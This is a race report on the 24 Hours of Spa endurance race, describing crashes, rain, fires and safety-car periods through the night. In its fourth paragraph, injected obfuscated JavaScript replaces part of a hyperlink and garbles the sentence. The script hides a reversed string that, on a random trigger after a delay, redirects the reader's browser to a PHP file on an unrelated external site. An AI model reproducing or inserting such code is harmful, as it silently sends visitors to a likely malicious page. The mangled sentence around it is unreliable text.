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As night fell, chaos seemingly wouldn’t be too far behind. Indeed, Spa-Francorchamps hadn’t been kind to competitors during daylight hours.
First to feel the wrath was the #18 Black Falcon Mercedes SLS AMG, which suffered gearbox problems straight out of the box. Soon the #6 Audi Sport Team Phoenix R8 collided with the #62 Lapidus Racing McLaren MP4-12C, for which Lapidus driver Adam Christodolou would be found fully responsible and excluded from competition. Panic ensued too when the #33 PRO GT by Almeras Porsche 997 GT3 R arrived on pit road in flames. And then came the rain.
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Much as it had done moments before the eventually aborted Super Pole session, the rain soon flooded the track, and the safety car was deployed. This was already too late for some as dry weather tyres on the sodden surface immediately proved useless, and car after car began pirouetting into La Source. Adding insult to inundation, the heavy rain caused problems with the telemetry on pit wall. Drivers, already with enough on their plate, suddenly found communication with their pit crews more difficult.
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Teams crossed their collective fingers that once the rain had cleared a bit, the safety car wouldn’t be out again for a while. But no. A big off for Philippe Salini in the #86 RMS Porsche 997 GT3 Cup knocked the Frenchman around badly, and the medical team was dispatched to the scene. Later reports from his hospital bed confirmed though that Salini had suffered no serious injuries. Nor thankfully did any member of the GT Academy Team RJN crew after their #35 Nissan GTR Nismo ignited in the box.
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Darkness descended, and so too did the rain again. As fatigue already started kicking in, competitors began sluicing off-track. The #40 Sainteloc Racing Audi R8 destroyed its front bumper against the turn seven tyre barriers. The #23 AUH Motorsports Audi R8 collected the #19 Black Falcons Mercedes after a spin at La Source, while the #32 PRO GT by Almeras Porsche and #11 Sport Garage Ferrari 458 Italia suffered sizeable clouts at Blanchimont and Les Combes respectively. Carbon fibre began amassing on-track alongside discarded tyre marbles, and by the tenth hour, the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/blancpain-endurance-round-3/” target=”_blank”>24 hours of Spa had already undergone eight safety car periods.
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Even for the fast-starting #3 Marc VDS Racing Team BMW Z4 – which had sliced past the polesitting #66 Vita4one Racing Team Beemer on the run down to Eau Rouge on lap one – good fortune would soon run out. A near miss with the spinning #59 Vita4one Team Italy Ferrari left the BMW with only mild damage to the rear, but a front left puncture followed by hold-ups on pit road had dropped the Belgian crew to third by the eleventh hour. Their fightback was fast becoming an impressive one as the fifteenth hour turned in, but the new leaders – in the #1 Audi Sport Team WRT R8 – were still over a minute up the road. And in-between the pair lay the #66 GT car.
